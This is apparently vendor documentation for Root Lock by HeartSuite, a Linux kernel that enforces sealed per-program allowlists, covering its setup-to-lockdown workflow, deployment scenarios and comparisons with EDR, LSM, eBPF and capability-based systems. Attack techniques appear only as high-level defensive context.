Introduction and Overview

• 1: Root Lock by HeartSuite Overview
• 2: From install to Lockdown
• 3: What this kernel needs — and what differs by stream
• 4: Deployment Scenarios
• 5: What Root Lock replaces — and what it does not
• 6: Containers, microVMs, and the sealed host
• 7: Security as Economics
• 8: Where Linux security tools actually sit
• 9: When Root Isn't Enough

1 - Root Lock by HeartSuite Overview

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including as root.

Your SSH server and your web server both run as root. They still get different permissions because they are different programs.

Kernel-level enforcement

No program can execute without an allowlist entry. That entry also controls which files the program can read or write, and which network connections it can make.

The Dashboard is the interface. After unattended initial setup, it shows the checklist and what is waiting for review.

After initial setup

Initial setup runs unattended on first boot of the Root Lock kernel, and again after a kernel update if new startup programs appear. The Dashboard appears when that chain is complete.

Reduced kernel footprint

The security industry patches vulnerabilities one at a time. Root Lock removes the features attackers rely on — by design.

Most malware escalates privilege by reaching for the same handful of kernel features: eBPF to hide processes, FUSE to redirect reads, overlay filesystems to shadow directories, userspace LSM frameworks (AppArmor, SMACK, Landlock) to pivot through, and unprivileged user namespaces to gain root without credentials.

The Root Lock kernel is deliberately compiled without them. These primitives are the attack surface, path to root, and bypass vectors the allowlist model exists to close.

A stock Ubuntu kernel ships with over 6,600 loadable modules. The Root Lock kernel ships with 13.

Detection tools like Falco, Cilium Tetragon, and bpftrace watch these features. Root Lock removes them. See Kernel architecture.

Shared-kernel container guests, local eBPF tooling, and rootless containers are not a fit by design. See Deployment Scenarios.

Features

1. Program Allowlist

An allowlist entry says whether a program may execute, which files it may read or write, and which network connections it may make. The kernel requires that entry before the program is permitted to execute.

The Dashboard presents three review queues:

• Programs queue ([p]) — programs that executed during Setup Mode
• File Access queue ([f]) — programs that read or wrote files during Setup Mode
• Internet Access queue ([i]) — programs that made outbound connections during Setup Mode

File access is approved as read or write. Write includes read. See Allowlisting Basics for how the queues group volume.

2. Setup Mode and Lockdown

• Setup Mode: The kernel logs program executions, file accesses, and network connections without blocking them. Use this mode to build the allowlist.
• Lockdown: The kernel enforces the allowlist. Programs without an entry, or that exceed their permissions, are blocked.

Activating Lockdown requires empty review queues, configured alerts, and an active subscription. Type YES (case-sensitive) to confirm.

Once Lockdown is applied, the allowlist cannot change while the machine is running, including as root. YES starts a probe reboot; a second reboot applies the seal. [m] Maintenance is the path to make changes. See Lockdown.

3. File backup and versioning

Root Lock backs up files in designated directories on every write. The version manager can restore a version after encryption, deletion, or modification.

Modern ransomware destroys backup systems before encrypting files — shadow copies and backup agents are typically the first targets. Root Lock’s backups are not permission-protected: under Lockdown, the kernel blocks write and delete to the backup directory (/.hs/b/) for every program except Root Lock backup tooling, including root.

When an approved program is compromised, recovery starts from the write before the damage, not the last scheduled snapshot.

4. Secure Script Launchers

For Python, PHP, and Perl, Secure Script Launchers identify the script being executed so each script gets its own allowlist entry, the same as a compiled program.

Two setup paths

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

Is Root Lock right for you?

Root Lock fits production servers, closed appliances, regulated workstations, build and CI infrastructure, and AI agent sandboxes. Containers fit as OCI images built and run off-host. Shared-kernel container guests, local eBPF tooling, and rootless containers are not a fit by design: the kernel omits overlay filesystems, user namespaces, and the BPF syscall because those are the features attackers use to hide, shadow directories, and reach root. See Deployment Scenarios.

If you already run Falco, AppArmor, gVisor, a Linux EDR agent, a SIEM, NDR, or a scanner, see How Root Lock Compares and Security as economics.

Launch a pre-installed cloud instance or download the Local Path package from heartsecsuite.com. Getting Started covers the rest.

2 - From install to Lockdown

Overview: Initial setup adds startup and shutdown programs to the allowlist automatically. Root Lock by HeartSuite then logs in Setup Mode so you can review and approve remaining programs, file access, and network connections — including as root — before Lockdown blocks everything else.

Why Setup Mode is necessary

Lockdown blocks any program that is not on the allowlist, including as root. Initial setup already adds startup and shutdown programs so the host can boot. Setup Mode is how you add the rest of the workload.

In Setup Mode, Root Lock logs activity without blocking it. You review that activity through the Dashboard queues, approve programs and their access, and build an allowlist that matches the workload. Then you activate Lockdown.

Setup Mode is the default after installation. Automated backup also runs in Setup Mode, so you can restore protected directories before Lockdown is active.

Initial setup, then the Dashboard checklist

Initial setup runs unattended after you boot the Root Lock kernel. It reads startup and shutdown activity, adds those programs to the allowlist, and reboots as needed.

Cloud images already finished this at image-prep time. The Dashboard appears when that chain is complete.

On the Dashboard, the Suggested Next Step can open Launchers ([s]) after Programs if interpreters are pending, even though that row sits at 4.

Cloud Path and Local Path

Getting Started covers Cloud Path and Local Path.

Many hosts still install through Cloud Path or Local Path on each machine. Ansible, Terraform, and GitOps apply allowlist policy after that install — see Central Policy.

After the Dashboard appears

Initial setup already recorded boot and shutdown. Setup Mode logs every program that executes, every file it reads or writes, and every outbound connection.

Start the services you will keep. Compilers, probes, and extra shells that execute now become items in the review queues. If you approve them, Lockdown grants them. Do not approve programs that should not execute in production — they do not belong on the allowlist.

After Lockdown, new packages go through Protecting During Maintenance. Approve and skip in Allowlisting Basics.

From installation to Lockdown

The following diagram shows installation to Lockdown on one host, including the maintenance cycle.

graph TD
    A[Install Root Lock] --> B{Cloud or Local?}
    B -- Cloud --> C[Boot instance — Dashboard confirms setup complete]
    B -- Local --> D["Boot setup runs automatically — reboots between passes"]
    D --> C
    C --> E[Dashboard appears — Suggested Next Step]
    E --> F["Programs queue — approve programs"]
    F --> G["Script Launchers — if applicable"]
    G --> H["File Access queue — approve file access"]
    H --> I["Internet Access queue — approve connections"]
    I --> J["Configure alerts"]
    J --> K["Activate Lockdown"]
    K --> L["YES — probe reboot, then seal reboot"]
    L --> M{Maintenance needed?}
    M -- Yes --> N["Maintenance [m] — console unseal, return to Setup"]
    N --> K
    M -- No --> O[System secured]

    style A fill:#eee,stroke:#888
    style B fill:#eee,stroke:#888
    style C fill:#eee,stroke:#888
    style D fill:#eee,stroke:#888
    style E fill:#eee,stroke:#888
    style F fill:#eee,stroke:#888
    style G fill:#eee,stroke:#888
    style H fill:#eee,stroke:#888
    style I fill:#eee,stroke:#888
    style J fill:#eee,stroke:#888
    style M fill:#eee,stroke:#888
    style N fill:#eee,stroke:#888
    style K fill:#d4f4dd,stroke:#2a7a40
    style L fill:#d4f4dd,stroke:#2a7a40
    style O fill:#d4f4dd,stroke:#2a7a40

Activating Lockdown

Activating Lockdown shows an allowlist summary and a precondition checklist. Type YES (case-sensitive) to confirm. That starts a probe reboot; a second reboot applies the seal. See Lockdown for the activation flow.

After Lockdown, the startup script re-engages the seal on every Root Lock kernel boot.

Maintenance in Lockdown

To change a sealed allowlist, open Maintenance ([m]) from the Dashboard. After the seal is applied, reboot from a physical or serial console and select Maintenance: unseal and return to Root Lock. The seal lifts automatically and you return to Setup Mode. Review new activity, then lock down again.

See Protecting During Maintenance.

3 - What this kernel needs — and what differs by stream

Overview: Confirm the host is x86 Linux on a distribution from the current lab matrix before you install. The Local Path command is the same on bare metal and on a full virtual machine. Root Lock by HeartSuite ships a 6.18 kernel for new images (uname -r is 6.18.9-hs on the fielded pin) and a 5.19 kernel only for old-glibc hosts (Debian 11, Ubuntu 20.04). Each line has its own configuration.

See the Distro Compatibility Matrix for tiers, versions, and kernel line per row. That page is the source for which bases are Supported, In lab, Experimental, or Legacy.

Supported platforms

Do not use the April 2026 v1.6.4 list (Fedora 41, Rocky 9.7, Alpine 3.21 as “validated,” Ubuntu 22.04 omitted). That table is retired.

Kernel

New Debian 12/13 and Ubuntu 22.04/24.04 installs boot the 6.18 Root Lock kernel. Debian 11 and Ubuntu 20.04 take the k5 installer and 5.19 only — they must not consume the 6.18 bundle. The Dashboard verifies kernel activation after initial setup and provides orientation on every boot.

Software compatibility notes

The Root Lock kernel omits eBPF, FUSE, OverlayFS, user namespaces, AppArmor, and KVM host-mode. Tools that need those interfaces run on another host or on the maintenance kernel.

The Root Lock kernel is installed alongside your existing kernel via GRUB — it does not replace it. Setup Mode reveals programs that would fail in Lockdown in the Dashboard review queues. Software not listed below is not automatically denied; Lockdown still requires an allowlist entry for each program.

Bare metal, virtual machines, and nested VMs

The Local Path install command is the same on a physical machine and on a full virtual machine. Cloud Path is a pre-built image of that same install.

What differs is the machine you run it on: firmware and real devices on metal; virtio and a hypervisor serial console on a VM.

Root Lock must boot its own kernel, so it runs on bare metal or a full VM. Shared-kernel container guests (OpenVZ, LXC, Docker/Podman sharing the provider kernel, systemd-nspawn) belong on a separate host. Nested guests need /dev/kvm on the outer machine.

If /dev/kvm is missing, install Root Lock on that machine itself.

See Where Root Lock is not a fit and Reduced Kernel Footprint.

When the host matches these requirements, continue to Getting Started.

4 - Deployment Scenarios

Overview: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite enforces default-deny on all three at the kernel, per program, including malware running as root.

In Setup Mode, Root Lock logs activity so you can review and approve it through the Dashboard queues. Lockdown then enforces what you approved. Patches and new tools follow the same path: a maintenance window, review, then Lockdown again.

Root Lock operates standalone — no SaaS policy server, no agent-to-console channel. The Root Lock kernel sits beside your existing kernel in GRUB; you can boot back to it. The scenarios below are where that model fits, then where it is not a fit by design.

Production servers

A web server serves pages. A database answers queries. A reverse proxy forwards traffic. Each has a shape you review and approve in the Dashboard queues after a few days of Setup Mode logging, then you activate Lockdown.

On a homogeneous fleet of these servers, you still install through Cloud Path or Local Path on each host. Harvest a baseline from one reference host, then apply it with Ansible — see Central Policy.

Patches, package upgrades, and new services follow the same path: open a maintenance window, install the changes in Setup Mode, approve the new entries, then re-engage Lockdown.

Under Lockdown, even root can no longer change the allowlist while the server runs. An attacker who already has remote root is left with nowhere to go.

CVE-2026-31431 — privilege escalation via AF_ALG — shows what that means. An attacker who exploits it already has root. On a Root Lock kernel AF_ALG is not compiled in. That path is gone.

Even if it had been, Lockdown closes every path from there. The kernel refuses to clear immutable flags. Mount operations are blocked. Writes to the audit log are blocked. Root cannot modify configuration, cannot add a backdoor, and cannot survive a reboot.

See Kernel Security Transparency for the full CVE status table and scanner guidance.

Closed appliances and embedded devices

A kiosk, a point-of-sale terminal, an industrial control gateway, a network appliance, a medical device, a defence endpoint — these systems don’t have interactive users. They have a job. The programs that do the job are fixed.

An attacker’s first move is usually to introduce a new program. In Lockdown, Root Lock blocks that move before it starts. By design, remote root cannot add to the sealed allowlist while the system runs.

File Backup is the recovery layer. The kernel restricts the backup directory to Root Lock’s own backup tooling — no other allowlisted program, however privileged, can read or overwrite it. If an approved program is compromised and corrupts a file, previous versions remain intact and restorable from the Dashboard’s Backup.

Regulated workstations and analyst systems

In financial, legal, healthcare, and defence workplaces, a workstation’s toolchain is set by policy, not preference. The Dashboard includes review queues that let you approve each tool and add it to the allowlist. In Lockdown, only the tools you approve can execute — everything else is blocked.

In regulated industries — financial services, healthcare, defence — auditors ask a specific question: can an administrator, or an attacker who has compromised an administrator account, disable your security controls? With Lockdown active, remote root cannot disable enforcement the way an agent can be killed. Changing the seal takes physical or serial-console access. See Circumvention and recovery.

No program or user inside the running Root Lock kernel, including root, can modify the allowlist or disable enforcement. Disabling enforcement requires reaching the boot path: a keyboard and monitor on a physical machine, a serial console, or — on a virtual machine — the hypervisor that owns the guest’s disk image and memory.

On VMs the hypervisor is the outer protective layer; Root Lock protects everything inside. Platform controls that protect the boot path (measured boot, disk encryption with keys held by the platform, controlled hypervisor access) extend that protection upward.

For environments subject to SOC 2, PCI DSS, HIPAA, or ISO 27001, that is a concrete answer to the privileged-access control question — and a clear specification of which controls remain the platform’s responsibility.

For managed security providers, this answer is the same for every Root Lock-protected server they manage: under Lockdown, no administrator credential, no root session, and no remote path changes the security policy. Bypass requires physical or serial-console access. For the competitive comparison on this point, see How Root Lock Compares.

Build, CI, and release infrastructure

A build host sits at the top of a supply chain. Compromise it, and every downstream consumer is at risk.

CVE-2024-27198 — JetBrains TeamCity, unauthenticated RCE — shows what that means. An attacker who reaches a TeamCity server can execute any program without credentials. On a Root Lock build host, that program has no allowlist entry. The kernel refuses to run it.

A supply chain attacker who compromises the build pipeline itself — using its own credentials and tooling — does not introduce a new program. In the May 2026 TanStack incident, 84 malicious package versions across 42 packages were published in six minutes using valid pipeline credentials. The execution gate fires but does not block: the pipeline already has a valid allowlist entry.

The attack is contained, not prevented at execution. The network allowlist still blocks: a compromised build tool cannot reach destinations outside its approved list, regardless of credential validity.

Root Lock restricts the host to only approved programs, controlling which can execute, which files they can access, and which network connections they can make:

• Compilers, linkers, signing tools, and release scripts you approved in Setup Mode.
• Network destinations they need to fetch dependencies and publish build artifacts.

File Backup keeps versioned copies of signing keys and build output. The kernel restricts those copies to Root Lock’s backup tooling — a compromised compiler, linker, or signing tool cannot read or overwrite them. So even if an approved tool is compromised, the previous versions remain intact and restorable from the Dashboard’s Backup.

Offline and air-gapped deployments

Some systems cannot assume the network is there. Industrial control networks, defence systems, classified environments, ships, aircraft, and recovery-of-last-resort servers either have no outbound connectivity or cannot be permitted to reach the internet at all.

Root Lock operates standalone — the allowlist lives on the machine, enforcement happens inside the kernel, and logs go to whichever local channel you configure. There is no telemetry upstream and no policy server to round-trip with.

An offline Root Lock system protects exactly the same way as an online one. Cloud-dependent EDRs degrade sharply in these environments; Root Lock does not.

AI agent and automation sandboxes

Autonomous agents are powerful because they decide what to do next. That is also why they need a cage. Pwn2Own Berlin 2026 added an AI/ML tools category for the first time; every target fell.

Run Root Lock as the guest kernel inside a per-task virtual machine — a Kata Container, a Firecracker microVM, or plain KVM. You build the allowlist once: run a representative agent task in Setup Mode, review and approve the tools it uses through the Dashboard queues, then bake that allowlist into the VM image.

Each task VM boots from that image into Lockdown with the allowlist already in force. The allowlist holds for the life of the task. Then the VM is gone.

An attacker who already has root inside the VM cannot turn this off. There is no LSM to unload, no userspace shim to detach, and no agent to kill. gVisor filters syscalls in userspace to protect the host. Root Lock is the guest kernel. It protects the workload.

Container hosts

Docker, containerd, Kubernetes, and CRI-O all run on a Root Lock host. The installer detects which container engine is present and asks you to choose a Container host or Standard host install.

Container host installs include overlay filesystem support and Setup Mode behavior adapted for container runtimes. Setup Mode logs container-runtime programs, overlay mounts, and each container image intended to run under Lockdown so you can review and approve them in the Dashboard queues before activating Lockdown.

Lockdown seals the running container set — the kernel stops accepting new mount operations, including the overlay mounts and bind-mounts every container start requires. The same protection blocks attackers from constructing paths to shadow protected files.

Containers running at the moment Lockdown engages continue running. New containers, image pulls, and restarts after exit each require a maintenance window — reboot to Setup Mode, start the containers, return to steady state, and re-engage Lockdown. The Dashboard shows mount-refusal messages from the kernel when a container engine tries to start a new container after Lockdown.

This is the right pattern for long-lived service containers, Kubernetes nodes with a stable pod set, and batch jobs that complete before Lockdown engages.

Where Root Lock is not a fit

A few workloads are incompatible with the Root Lock kernel as shipped — not a fit by design. The kernel omits overlay filesystems, user namespaces, and the BPF syscall because they are the features attackers use to hide, shadow directories, and reach root.

• Shared-kernel container guests (OpenVZ, LXC, Docker/Podman guests on a provider kernel, systemd-nspawn) — Root Lock must boot its own kernel by design. Full VMs under KVM or cloud hypervisors are supported; Root Lock runs as a guest kernel inside them.
• Hosts requiring continuous container scheduling — dynamic deployments, autoscaling, and pod rescheduling after node loss each require new mount operations that Lockdown refuses. Container hosts with a steady-state workload are supported via the Container-host install above.
• Hosts where eBPF-based tooling must run locally — Falco, Cilium, Tetragon, bpftrace, and similar tools require the BPF syscall, which is deliberately absent. These tools can still observe the Root Lock host from adjacent infrastructure via network taps or log forwarding. For on-host forensics, use strace and /proc inspection.
• Hypervisor hosts running virtual machines — Root Lock protects workloads running inside a kernel. A hypervisor host grants trusted access to guest workloads it does not control — the inverse model. KVM host mode is not a supported configuration; those kernel features are compiled out. Root Lock runs as a VM guest on KVM, cloud hypervisors, and other platforms.
• A VM nested inside another VM without hardware virtualization — a VPS or cloud guest is already a virtual machine. Install Root Lock there, or on a host that exposes /dev/kvm. Nesting a second guest without hardware virtualization causes the installer to stop at the start. See Bare metal, virtual machines, and nested VMs.
• Systems that require rootless containers — unprivileged user-namespace creation is disabled by policy on the Root Lock kernel; it is a common path to privilege escalation without credentials. Workloads requiring rootless containers should run on a separate host.
• Applications that update daily or on an unpredictable schedule — each update that adds a new binary, dependency, or network destination requires a maintenance window: open Setup Mode, run the update, approve the new allowlist entries, and re-engage Lockdown. That process fits controlled patch schedules. At daily cadence the overhead is daily. Applications with a predictable update cycle are a better fit.

See System Requirements → Software Compatibility Notes for the full list.

Kubernetes-native runtime security, cross-platform endpoint protection across Windows and macOS, developer per-application sandboxing, and enterprise backup at fleet scale each have dedicated tools built for them. Root Lock is built for one thing: Linux systems where the security policy must survive a compromised root account.

If the host is a fit, continue to Getting Started.

5 - What Root Lock replaces — and what it does not

Overview: Root Lock by HeartSuite controls per program whether it can execute, which files it can read or write, and which network connections it can make, including for programs running as root.

Standard operating systems grant these rights to users. Ken Thompson built Unix that way in 1969 on an unused PDP-7 at Bell Labs, designed for a small group of trusted researchers, not for networked infrastructure or a world with malware. Every operating system since inherited the decision unchanged. Until now.

Kernel architecture

graph TB
    Root(["Root attacker"])

    subgraph SL["Standard Linux: runtime layers"]
        EDR["EDR agent\nCrowdStrike · SentinelOne"]
        BPF["eBPF runtime\nFalco · Tetragon · Sysdig"]
        LSM["LSM hooks\nAppArmor · SELinux"]
        K["Kernel binary"]
        EDR --> BPF --> LSM --> K
    end

    subgraph HS["Root Lock: compiled enforcement"]
        HSK["Kernel binary\nenforcement compiled in\nno HS agent to kill"]
    end

    Root -."kill".-> EDR
    Root -."unload".-> BPF
    Root -."set permissive".-> LSM
    Root -."no path".-> HSK

    style EDR fill:#fdd,stroke:#c44
    style BPF fill:#fdd,stroke:#c44
    style LSM fill:#fdd,stroke:#c44
    style K fill:#eee,stroke:#888
    style HSK fill:#d4f4dd,stroke:#2a7a40

Standard Linux security tools are runtime layers an attacker who already has remote root can disable. Root Lock compiles enforcement into the kernel binary itself. The BPF syscall is absent, so there is no eBPF layer to unload, no agent to kill.

Every published Linux kernel CVE comes with the same question: is that kernel feature compiled into your hosts? For the features Root Lock has compiled out, the answer is always no, without patching, without policy, without an agent checking.

Most runtime security tools sit at Layer 3 (LSM hooks such as SELinux and AppArmor) or Layer 5 (userspace EDR agents such as CrowdStrike Falcon and SentinelOne). Root Lock sits at Layer 2: enforcement is compiled into the kernel binary itself, not a program installed in userspace.

An attacker who already has remote root can turn those tools off. They kill the program, unload the module, or set the LSM policy permissive. Sitting at Layer 2 leaves nothing to turn off.

Changing the sealed allowlist takes physical presence or the cloud serial console. SSH is not enough, even as root. What remains is whether Setup Mode approved too much, and whether someone at the console can unseal it.

See Circumvention and recovery. For the full taxonomy with all tools mapped by layer, see Layer Analysis.

Security as economics

For an analysis of attacker cost, defender operational cost, and ROI comparison against SELinux, EDR, Zafran, and CTEM programs, see Security as Economics.

What Root Lock replaces

The comparison below is scoped to preventive enforcement. Telemetry, behavioural analytics, and incident response are in What Root Lock complements. Each tool has a known bypass path. See Circumvention and recovery for detail.

The common pattern. Every tool in this table can be disabled by an attacker who already has remote root. They can kill the security agent, unload the BPF program, or set the LSM permissive.

Root Lock removes that possibility: enforcement is compiled into the kernel and the allowlist is sealed under Lockdown. By design, root has no path to disable enforcement or rewrite the sealed allowlist. See Circumvention and recovery.

Industry pattern (impair defenses). In many ransomware and post-compromise campaigns, attackers disable or impair security tools early. They stop the EDR agent, unload sensors, or weaken host policy first. Then they encrypt the files, or they move to the next machine.

Root Lock is designed so it has no agent process, no BPF program, and no unloadable module to target. The question is no longer whether the agent is still running. It is whether Setup Mode approved too much, and whether someone at the console can unseal it.

Related designs. The idea that even root cannot rewrite the running policy is not unique to Root Lock. Android keeps SELinux policy on a verified, read-only image. FreeBSD can raise securelevel so schg files stay immutable until reboot. Root Lock’s version of that idea is Lockdown: the allowlist is sealed, the kernel refuses the write, and unsealing takes the console or physical presence.

What each tool does best. Bypass surface is one dimension of comparison, not the whole picture. Each tool above retains strengths Root Lock does not replicate.

eBPF observers (Falco, Cilium Tetragon, Sysdig Secure, Tracee, and bpftrace) ship mature rule libraries, Kubernetes-aware context, and fleet-wide runtime telemetry. For behavioural alerting on Kubernetes nodes — particularly autoscaled clusters, where on-host eBPF tooling is not a fit by design — those tools remain the right answer.

They can observe a Root Lock host from adjacent infrastructure via network taps or log forwarding.

Userspace LSM frameworks (AppArmor, SELinux, SMACK, Landlock) offer policy capabilities Root Lock does not replicate: SELinux refpolicy and domain transitions, AppArmor’s distribution-shipped per-application profiles, Landlock’s per-application self-confinement primitive.

Root Lock’s value is the sealed boundary (chattr +i immutability plus a running kernel that refuses runtime changes), not richer policy syntax.

On 5.19.6, CONFIG_SECURITY_APPARMOR is compiled out and existing profiles cease to apply at the first Root Lock kernel boot. On fielded 6.18.9-hs, AppArmor is present in the live LSM list — do not assume profiles disappeared.

seccomp-bpf sandboxes in systemd services, browser sandboxes, bubblewrap, and firejail sit closer to the syscall surface than Root Lock can. A Chromium renderer’s own seccomp filter is genuine defence-in-depth from inside the program; Root Lock does not replace it, and both layers are worth keeping.

gVisor addresses a different threat model: host protected from untrusted guest, via a userspace syscall-emulating kernel. Root Lock addresses workloads protected from compromised root inside the kernel they run on. The two compose: Root Lock as the guest kernel inside a gVisor-isolated container is a coherent stack.

Linux EDR (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint, FortiEDR) provides telemetry, behavioural analytics, fleet-wide correlation through a SOC console, threat intelligence, and incident response. Root Lock provides none of those.

The honest position is prevention versus detection; most regulated environments run both.

When attackers use legitimate tools rather than new malware (the pattern in most modern breaches), EDR detects the suspicious behavior. Root Lock constrains it differently: even a legitimate tool can only reach the files and network destinations its allowlist entry approves.

EDR agents that deploy via eBPF cannot attach on-host. The BPF syscall is not present on the Root Lock kernel. Under Lockdown, agents that install as kernel modules are blocked without an allowlist entry. That is the same gate that applies to every other program.

Both syslog streams (per-decision enforcement events and aggregated alerts) reach the EDR ingestion pipeline via a single rsyslog forwarding rule, with no external tooling required. Detection and response coverage continues through the log pipeline without an on-host sensor.

Capability-based confinement

Capsicum (FreeBSD) operationalizes the same core thesis as Root Lock: ordinary programs should not have unrestricted default access to the global OS namespace. It is the most architecturally principled approach to that problem outside of Root Lock, and the comparison is worth being direct about.

How Capsicum works. After cap_enter(), any syscall that traverses a global namespace (open() with an absolute path, kill() with a PID) returns ECAPMODE immediately. Default access paths through the OS are severed at the syscall boundary.

Per-FD rights masks then control what operations each open file descriptor permits. The design enforces this directly: no path through the global namespace means no access.

What structural elimination costs. Every sandboxed application, or a wrapper around it, must be rewritten. The application calls cap_enter(), pre-opens every file descriptor it will ever need before that call, and uses openat(fd, …) relative to those FDs thereafter.

Sandboxing OpenSSH under Capsicum required explicit modifications to sandbox-capsicum.c. Libcasper exists specifically to handle operations that cannot be pre-opened (DNS lookups, /etc/passwd reads) via a dedicated delegation channel.

For software you write yourself, the model is clean. For a fleet of existing Linux binaries you did not write, it means modifying every program you want to protect, or not protecting it.

How Root Lock reaches the same goal without application changes. VFS hook points in namei.c, open.c, exec.c, and exit.c intercept path traversal and check the calling process’s allowlist entry against the path.

Network hooks in socket.c check outbound routable connections (both connect() calls and sendto() calls with an explicit destination address) against the program’s IP allowlist. Local IPC over UNIX domain sockets and NETLINK is exempt by design.

Default access paths are filtered rather than severed. Existing Linux binaries run without modification; Root Lock observes what they do and enforces the allowlist against it. Root Lock makes this choice (hook-at-VFS rather than cap_enter-before-first-access) precisely to enable application transparency: no binary needs to be rewritten to be protected.

The Setup Mode gap. Capsicum has no learning phase. Policy lives in application source code, written at development time by the developer who wrote the application. There is no “observe what this binary actually needs at runtime, then derive its allowlist” workflow.

For any environment running software it did not write, which is most production infrastructure, Root Lock’s Setup Mode is the practical path: record what the binary does, review, approve, then lock. Capsicum offers no equivalent.

The policy-integrity gap. Capsicum’s policy lives in the application. After it ships, there is no policy file to edit, so Capsicum never had to protect one from root.

Root Lock’s policy is an allowlist file. An attacker who already has root would want to change it. Lockdown seals that file: the files are immutable, and the kernel refuses the write.

Platform. Capsicum is primary on FreeBSD. Linux support is incomplete. Root Lock targets Linux 5.19.6 and 6.18 natively.

The two designs make opposite choices: modify the application, or maintain a policy database. For a Linux fleet running software you did not write, Root Lock’s approach (maintain the database, get transparency and the full Setup → Lockdown lifecycle) is the one that covers the workload.

Formally verified microkernels

seL4 is the benchmark for machine-checked security guarantees in an OS kernel. Its proofs establish that every syscall behaves exactly as specified, that no information can pass between components without an explicit connection, and that these properties hold in the compiled binary on select platforms.

Root Lock and seL4 share the same goal — prevent programs from reaching resources they were not explicitly granted — and diverge on almost everything else.

How seL4 works. seL4 is a microkernel of roughly 10,000 lines of C backed by machine-checked proofs. Every kernel object (memory region, communication channel, thread control block) is named and accessed through an unforgeable token. A process starts with exactly the tokens its creator delegates, nothing more.

To reach a file, a process must hold a token for that file’s underlying storage. To message another process, it must hold a token for the communication channel. There is no global path namespace to traverse: if you do not hold the token, the kernel rejects the call before any check fires.

What those guarantees require in practice. seL4’s proofs depend on keeping the kernel small enough that every line can be verified (roughly 10,000 lines of C). That means seL4 contains no file system, no network stack, no device drivers. Every service that exists in a standard Linux installation (SSH, package management, web server, any application) must be rebuilt as a userspace component with explicit token grants.

Existing Linux software does not run on seL4 without a full OS porting effort. For a commercial server running standard software, deploying seL4 means replacing the entire software environment, not just the kernel.

How Root Lock enforces the same principle on existing software. Root Lock installs as a modified Linux kernel on a host already running standard software. Root Lock controls whether each program can execute, which files it can read or write, and which network connections it can make. The existing binaries run without modification.

Root Lock observes what each binary does during Setup Mode; you build the allowlist through the Dashboard queues, review and approve, then engage Lockdown. The guarantee is a kernel-enforced allowlist on the software the host already runs.

The Setup Mode gap. seL4 has no learning phase. Token grants are designed at system build time by the developer who builds the system. There is no “observe what this service actually needs at runtime, then derive its policy” workflow.

Root Lock’s Setup Mode is the practical answer for standard infrastructure: run the system, record every access in the Dashboard queues, review and approve, then engage Lockdown. For any environment running standard Linux software, Root Lock’s Setup Mode provides the observe-and-build path that seL4 cannot offer.

The policy-integrity gap. seL4 has no policy file. Authority is the token set. There is nothing to edit after the system is built.

Root Lock’s policy is an allowlist file. An attacker who already has root would want to change it. Lockdown seals that file: the files are immutable, and the kernel refuses the write. seL4 makes authority impossible to forge; Root Lock seals the allowlist after Lockdown engages (see Circumvention and recovery).

Platform. seL4 is not a Linux kernel; standard Linux software requires a full porting effort to run on it. Root Lock targets Linux 5.19.6 and 6.18 and is installed by replacing the kernel on an existing host.

The two approaches make opposite foundational choices: build the OS from a proof up, or enforce on the software stack that already exists. For commercial infrastructure running standard Linux software, Root Lock is the option that ships.

Object-capability operating systems

Fuchsia (Google) is a production operating system built on Zircon, a microkernel where every resource is accessed through an unforgeable handle. Like seL4, its security model is structural: no handle means no access, at the kernel boundary, before any policy database is consulted.

Fuchsia adds two architectural properties that seL4 does not emphasize: per-component private namespaces and cryptographic verification of every executable.

Private namespaces. In Fuchsia, each component receives an explicitly assembled filesystem view: its /svc/, /data/, and /pkg/ entries are handle-routed by the Component Framework. There is no global root filesystem visible to all components.

A compromised component cannot traverse upward to discover paths it was not given handles to; those paths do not exist in the component’s view.

Root Lock enforces on a global Linux filesystem. Root Lock controls whether a program can access a given path, but the path still exists and an access attempt returns an error rather than silence. Root Lock’s global filesystem is what makes existing Linux software run unchanged. That is the same choice that allows deployment on any existing Linux server.

Cryptographic integrity. Fuchsia verifies every executable through BlobFS. Each file is identified by its hash and checked before it runs. Replacing a binary silently is structurally impossible. Root Lock does not do that.

At Lockdown it seals the allowlist and the critical system paths: the files are immutable, and the kernel refuses the write. Full cryptographic verification at boot means building the OS around content-addressed storage from scratch. Lockdown is runtime tamper-resistance on the Linux you already run.

The Setup Mode gap. Fuchsia has no learning phase and no operator-facing allowlist tooling for standard server software, because standard server software does not run on Fuchsia. Root Lock’s Setup Mode records what each binary does; you review and approve through the Dashboard queues, then engage Lockdown. The workflow exists because Root Lock deploys on the software stack already running in production.

Platform. Fuchsia targets embedded devices and consumer hardware. It is not a Linux kernel and has no server deployment path. Root Lock targets Linux 5.19.6 and 6.18 server deployments and is installed by replacing the kernel on an existing host.

Fuchsia’s security architecture is more restrictive at every layer: per-component namespaces, cryptographic verification, handle-only access, userspace drivers. Root Lock provides enforced per-program allowlisting on existing Linux deployments without rebuilding the OS. For any organization running Linux infrastructure today, Root Lock is the option that deploys.

Trust boundaries and bypass surface

Three questions cut to the core of any enforcement mechanism: who is trusted to set the policy, who is gated at runtime, and what does a bypass look like?

graph LR
    A[Attacker gains root] --> B["eBPF agent\n(Falco, Tetragon)"]
    A --> C["LSM framework\n(AppArmor, SELinux)"]
    A --> D["seccomp sandbox\n(bubblewrap, firejail)"]
    A --> E["Linux EDR agent\n(CrowdStrike, SentinelOne)"]
    A --> F["Root Lock"]
    B --> G["Kill agent or\nunload BPF program"]
    C --> H["Set permissive or\nreload policy"]
    D --> I["Launch same binary\nwithout the filter"]
    E --> J["Kill driver or\nBYOVD bypass"]
    F --> K["Physical presence\nrequired"]
    G --> L["Protection disabled ✗"]
    H --> L
    I --> L
    J --> L
    K --> M["Protection intact ✓"]

    style A fill:#fdd,stroke:#c44
    style B fill:#fdd,stroke:#c44
    style C fill:#fdd,stroke:#c44
    style D fill:#fdd,stroke:#c44
    style E fill:#fdd,stroke:#c44
    style G fill:#fdd,stroke:#c44
    style H fill:#fdd,stroke:#c44
    style I fill:#fdd,stroke:#c44
    style J fill:#fdd,stroke:#c44
    style L fill:#fdd,stroke:#c44
    style F fill:#d4f4dd,stroke:#2a7a40
    style K fill:#d4f4dd,stroke:#2a7a40
    style M fill:#d4f4dd,stroke:#2a7a40

The table below answers each question in full for the main enforcement mechanisms alongside Root Lock.

